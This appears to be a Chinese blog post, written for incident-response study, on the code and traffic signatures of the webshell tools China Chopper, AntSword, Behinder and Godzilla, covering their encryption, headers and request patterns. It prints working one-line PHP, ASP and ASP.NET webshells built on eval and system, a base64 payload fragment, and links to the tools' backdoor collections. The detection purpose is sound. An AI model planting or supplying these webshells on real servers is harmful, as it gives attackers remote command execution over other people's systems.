常见webshell工具木马特征分析

前言

近期开始学应急响应,发现了自己在webshell这块还有诸多盲区,所以专门写一个常见webshell工具特征分析,来记录方便日后查阅。

webshell简介

WebShell是黑客经常使用的一种恶意脚本,其目的是获得服务器的执行操作权限,常见的webshell编写语言为asp /jsp/php。主要用于网站管理,服务器管理,权限管理等操作。使用方法简单,只需要上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站的服务器的管理。所以小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。

那么最常见的当然是我们的一句话木马了,例如

<?php   @eval($_POST['shell']);?>
<?php system($_REQUEST['cmd']);>

这一类的木马,只需要将相关的一句话木马(代码量不大)写入php或者asp中,上传至服务器用webshell工具连接即可。而许多常见的webshell工具自带了许多木马脚本,所以就开始分析一些常见的木马脚本,来看看其中奥妙。

webshell工具木马特征分析

首先我们来分析中国菜刀

菜刀

中国菜刀是一块经典的网站管理工具了,但是因为其流量特征十分明显,几乎所有的安全设备都能识别到了,所以一般都是用来教学使用,我们打开他的项目地址就可以看到最新的版本已经是16年的了已经有8年的差距了。菜刀使用的webshell为一句话木马,特征十分明显PHP, ASP, ASP.NET 的网站都可以:

PHP:  <?php @eval($_POST['caidao']);?>

ASP:  <%eval request("caidao")%>

ASP.NET:  <%@ Page Language="Jscript"%><%eval(Request.Item["caidao"],"unsafe");%>

数据包流量特征:
1,请求包中:ua头为百度,火狐
2,请求体中存在eavl,base64等特征字符
3,请求体中传递的payload为base64编码,并且存在固定的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

image-20240506143329507

antsword蚂蚁舰队

AntSword(蚁剑)是一个开放源代码,跨平台的网站管理工具,旨在满足渗透测试人员以及具有权限和/或授权的安全研究人员以及网站管理员的需求。github项目地址: https://github.com/AntSwordProject/antSword

蚁剑官方提供一些制作好的后门:https://github.com/AntSwordProject/AwesomeScript。在php中使用asserteval等命令执行:

asp 使用eval ,在jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征

image-20240506144127874

asp中使用的是eval命令执行:

image-20240506144235262

jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征

image-20240506144325472

当使用普通的一句话木马都存在以下特征:每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且后面存在base64等字符

image-20240506145744178

每一个请求体都存在@ini_set("display_errors",“0”);@set_time_limit(0)开头。并且存在base64等字符相应包的结果返回格式为: 随机数+结果+随机数

img

冰蝎

冰蝎是一款动态二进制加密网站管理客户端。冰蝎作为一个比较强大的工具,目前已经到了4.0版本时代,其最大特点是对交互流量进行AES对称加密,且加密密钥是由随机数函数动态生成,传统的 WAF、IDS 设备难以检测,给防守带来较大挑战。冰蝎4.0版本增加了多项功能,如允许用户自定义多类传输协议,并根据传输协议动态生成服务端等。

github地址:https://github.com/rebeyond/Behinder冰蝎文件夹中,server 文件中存放了各种类型的木马文件

那么在冰蝎的木马代码中同样会存在eval或assert等字符特征

image-20240506201630459

jsp利用的java的反射,所以会存在ClassLoader,getClass().getClassLoader()等字符特征

image-20240506202851907

关于冰蝎的流量特征

img

我们先不分析这段加密的密文,相关细致的分析可以见参考文章的冰蝎v4.0流量分析

结合一些资料我们总结一下冰蝎的流量特征:

  • Content-Length
    显然其数值相对常规的较大,可以作为辅助特征进行检测:Content-Length: 5824

  • 长连接
    冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection: Keep-Alive,可将其作为辅助特征进行检测。

  • PHP webshell 中存在固定代码
    可以将 eval($post) 作为流量特征纳入。

  • content-Type字段:Application/x-www-form-urlencoded

  • webshell会有一段连接32位md5值的前16位,默认连接密码为rebeyond;

哥斯拉

哥斯拉是一款webshell权限管理工具,由java语言开发。它的特点有:全部类型的shell能绕过市面大部分的静态查杀、流量加密能绕过过市面绝大部分的流量Waf、Godzilla自带的插件是冰蝎、蚁剑不能比拟的。它能实现的功能除了传统的命令执行、文件管理、数据库管理之外,根据shell类型的不同还包括了:MSF联动、绕过OpenBasedir、ZIP压缩、ZIP解压、代码执行、绕过 DisableFunctions、Mimikatz

github下载地址:https://github.com/BeichenDream/Godzilla

哥斯拉并未开源,如果想要分析他的shell文件需要,反编译。我们利用jd工具来反编译一下。

image-20240507171419843

选择默认脚本编码生成的情况下,jsp会出现xc,pass字符和Java反射(ClassLoader,getClass().getClassLoader()),base64加解码等特征

哥斯拉利用WebShell方式是:通过AES加密 -> Base64编码 -> 再通过MD5认证 -> 最后执行相关代码

那么总结一些下

在所有请求中Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8

所有响应中Cache-Control: no-store, no-cache, must-revalidate,

以上两个只能作为弱特征参考

同时在所有请求中Cookie中后面都存在;特征

参考

Webshell工具的流量特征分析(菜刀,蚁剑,冰蝎,哥斯拉)

常见webshell工具特征分

WebShell 特征分析

冰蝎V4.0流量分析到攻防检测

冰蝎webshell分析

哥斯拉v4.0流量解密及特征流量提取

哥斯拉流量分析

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值